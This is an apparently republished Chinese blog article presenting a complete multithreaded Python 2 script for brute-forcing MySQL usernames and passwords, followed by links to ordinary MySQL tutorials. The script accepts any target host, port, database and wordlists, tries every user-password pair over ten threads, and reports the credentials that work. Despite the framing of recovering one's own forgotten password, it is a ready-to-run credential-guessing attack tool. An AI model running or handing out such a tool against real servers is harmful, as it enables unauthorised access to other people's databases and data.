用Python寫了個工具,完美破解了MySQL

2022-01-10 Python入門與進階
版權聲明:本文為博主原創文章,遵循 CC 4.0 BY-SA 版權協議,轉載請附上原文出處連結和本聲明。

本文連結:

https://blog.csdn.net/l1028386804/article/details/118378477

今天下班回家想登錄MySQL資料庫,很遺憾,我忘記了MySQL資料庫的用戶和密碼。我該怎麼辦?使用安全模式登錄?我想每個人都應該知道這樣一種傳統的方式!今天,讓我們來做個改變,就是用Python寫一個工具來破解MySQL,看看它能不能破解出MySQL的用戶和密碼。

爆破腳本

這次編寫的爆破MySQL的Python腳本使用了Python中的多線程編程,並且導入了MySQLdb模塊。運行時,腳本分別接收如下五個參數:

待破解的ip/domain:例如127.0.0.1

埠:例如3306

資料庫:例如test

用戶名列表文件:例如user.txt文件

密碼列表文件:例如password.txt文件

下面給出完整的腳本代碼:

import os, sys, re, socket, timefrom functools import partialfrom multiprocessing.dummy import Pool as ThreadPool try:    import MySQLdbexcept ImportError:    print '\n[!] MySQLdb模塊導入錯誤,請到下面網址下載:'    print '[!] http://www.codegood.com/archives/129'    exit()  def usage():    print '+' + '-' * 50 + '+'    print '\t   Python MySQL暴力破解工具多線程版'    print '\t   微信公眾號:Python聯盟'    print '\t\t Code BY: 盟主'    print '\t\t Time:2021-06-30'    print '+' + '-' * 50 + '+'    if len(sys.argv) != 6:        print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 埠 資料庫 用戶名列表 密碼列表"        print "實例: " + os.path.basename(sys.argv[0]) + " 127.0.0.1  3306  test user.txt pass.txt"        sys.exit()  def mysql_brute(user, password):    "mysql資料庫破解函數"    db = None    try:                db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))                result.append('用戶名:' + user + "\t密碼:" + password)    except KeyboardInterrupt:        print '已成功退出程序!'        exit()    except MySQLdb.Error, msg:        print '程序出錯,錯誤信息為:', msg        pass    finally:        if db:            db.close()  if __name__ == '__main__':    usage()    start_time = time.time()    if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):        host = sys.argv[1]    else:        host = socket.gethostbyname(sys.argv[1])    userlist = [i.rstrip() for i in open(sys.argv[4])]    passlist = [j.rstrip() for j in open(sys.argv[5])]    print '\n[+] 目  標:%s \n' % sys.argv[1]    print '[+] 用戶名:%d 條\n' % len(userlist)    print '[+] 密  碼:%d 條\n' % len(passlist)    print '[!] 密碼破解中,請稍候……\n'    result = []     for user in userlist:        partial_user = partial(mysql_brute, user)        pool = ThreadPool(10)        pool.map(partial_user, passlist)        pool.close()        pool.join()    if len(result) != 0:        print '[+] MySQL密碼破解成功!\n'        for x in {}.fromkeys(result).keys():            print x + '\n'    else:        print '[-] MySQL密碼破解失敗!\n'    print '[+] 破解完成,用時: %d 秒' % (time.time() - start_time)

腳本編寫完成後,運行,等待了一段時間,將我的MySQL的用戶和密碼完美的破解出來了。

- EOF -

回復關鍵字「簡明python 」,立即獲取入門必備書籍《簡明python教程》電子版

回復關鍵字「爬蟲」,立即獲取爬蟲學習資料

點擊關注【python入門與進階】,閱讀更多精彩內容

推薦

相關焦點

  • 用 Python 連接 MySQL 的幾種姿勢
    ,而 MySQL 又是最流行的一種資料庫,這篇文章介紹 Python 操作 MySQL 的幾種方式,你可以在實際開發過程中根據實際情況合理選擇。/usr/bin/pythonimport MySQLdbdb = MySQLdb.connect(     host="localhost",    # 主機名     user="john",         # 用戶名     passwd="megajonhy",  # 密碼     db="jonhydb")        # 資料庫名稱
  • Python連接MySQL的多種姿勢
    https://www.lfd.uci.edu/~gohlke/pythonlibs/#mysqlclient在cmd命令行中進入安裝文件所在路徑運行命令:# Windows安裝pip install mysqlclient 1.4.4 cp37 cp37m win_amd64.whl另外一種方式是直接調用
  • python對mysql資料庫的操作(一)
    本文章介紹python對mysql資料庫的基本操作,以及編寫一個模擬用戶的註冊。
  • 如何寫一個自己的 bcc 工具觀測 MySQL-愛可生
    社區之前有一篇文章《如何使用 bcc 工具觀測 MySQL 延遲》,介紹了 bcc 是什麼以及如何用 bcc 項目提供的工具觀測 MySQL。  bcc 項目https://github.com/iovisor/bcc  但是如果 bcc 項目提供的 MySQL 觀察工具不能滿足我們的需求時該怎麼辦?
  • python MySQL中 Limit語句
    如果給定兩個參數,第一個參數指定第一個返回記錄行的偏移量,第二個參數指定返回記錄行的最大數目。import mysql.connectortest_db = mysql.connector.connect( host="localhost", user="root", passwd="123456", database="test")test_cursor = test_db.cursor()test_cursor.execute
  • python MySQL中 刪除語句(delete)
    (python集成開發環境(IDE) PyCharm的安裝和使用 在 PyCharm 軟體中測試)
  • python MySQL中 插入數據(insert into)
    >插入數據插入數據使用 "INSERT INTO" 語句:import mysql.connectortest_db = mysql.connector.connect( host="localhost", user="root", passwd
  • Python 操作MySQL資料庫
    安裝python即pycharm環境。(詳細步聚這篇就省略了) 第二步:mysqlclient-1.3.12-cp36-cp36m-win_amd64.whl安裝命令:pipinstall mysqlclient-1.3.12-cp36-cp36m-win_amd64.whl
  • python是如何來連接mysql的
    就像Java連MySQL使用jdbc驅動器一樣,python的標準數據接口Python DB-API為開發人員提供了資料庫應用編程接口,可以支持很多種資料庫,今天我們以mysql為例來介紹python如何操作資料庫。
  • 成長記(一)教你如何用Python操作MySQL
    直接在命令行進入python然後導庫即可C:\Users\June>pythonPython 3.6.3 |Anaconda, Inc.| (default, Oct 15 2017, 03:27:45) [MSC v.1900 64 bit (AMD64)] on win32
  • 用Python寫個在線Python的網站怎麼樣
    前幾天,一個朋友提出了一個建議,如何用python寫出python的解釋器,我感覺這是一個很好的問題,於是就去看看,打算用python寫一個試試
  • Python操作mysql(上)! 一文帶你看懂!
    來源:印象python「ID: python_logic」當程序終止時,通常需要將數據保存在磁碟上
  • day06-python資料庫-mysql之安裝
    為了遠程訪問並處理這臺共享機器上的文件,我們必須為我們的程序額外寫一段代碼,完成如下功能:我們寫任何程序都需要有這段代碼,於是我們提取這段代碼,寫成一個專門的處理軟體,這就是mysql等資料庫管理軟體的由來,但mysql解決的不僅僅是數據共享的問題,還有查詢效率,安全性等一系列問題,總之,把程式設計師從數據管理中解脫出來,專注於自己的程序邏輯的編寫。
  • Python——用 Django 寫 restful api 接口
    用 Python 如何寫一個接口呢,首先得要有數據,可以用我們在網站上爬的數據,在上一篇文章中寫了如何用 Python 爬蟲,有興趣的可以看看:https://www.cnblogs.com/sixrain/p/9120529.html大量的數據保存到資料庫比較方便。
  • 從報錯開始梳理用Python連接MySQL資料庫
    AttributeError: module 'pymysql' has no attribute 'connect'第一次用Python嘗試連接MySQL時,報如上之錯誤。於是,我認真梳理了一番如何成功地用Python連上MySQL。
  • 每天一分鐘,python一點通(Python 連接資料庫mysql)
    00:02 來源: 人工智慧一加一 舉報   上期文章我們分享了如何使用資料庫界面化操作mysql
  • 最詳細Python批量字典暴力破解zip密碼
    工具破解前兩天在網上下來了一波項目案例,結果全是加密的壓縮包,於是去網上找了一個壓縮包破解的工具很多人學習python
  • python連接mysql,teradata,DB2資料庫
    如果能通過python連接資料庫,通過python腳本能實現一些自動化,批量繁雜的SQL增刪改查和數據監控等。下面簡單的介紹一下python連接mysqlpython連接teradatapython連接DB2使用pyodbc本篇文章適用於Windows系統離線安裝參考,有網的情況下線直接pip install xxx。沒有網要搗騰很久。python連接mysql首先需要安裝MySQLdb模塊。
  • 一步一步教你如何用python操作mysql
    python前端技術工欲善其事,必先利其器。1print(cursor.fetchone()['name'])23Traceback (most recent call last):4 File "E:/anaconda/python_project/mysql_test/test2.py", line 8, in <module>5 print(cursor.fetchone
  • 用Python DB-API開發MySQL腳本
    我們首先介紹了有關軟體的安裝方法,隨後分別用兩個實例對DB-API模塊做了深入的介紹,最後討論了用Python DB-API編寫的MySQL腳本的移植注意事項。  一、DB-API簡介  Python語言是一種流行的開源程式語言,不僅自身表達能力強,而且還有許多輔助模塊,著極大的增強了其功能。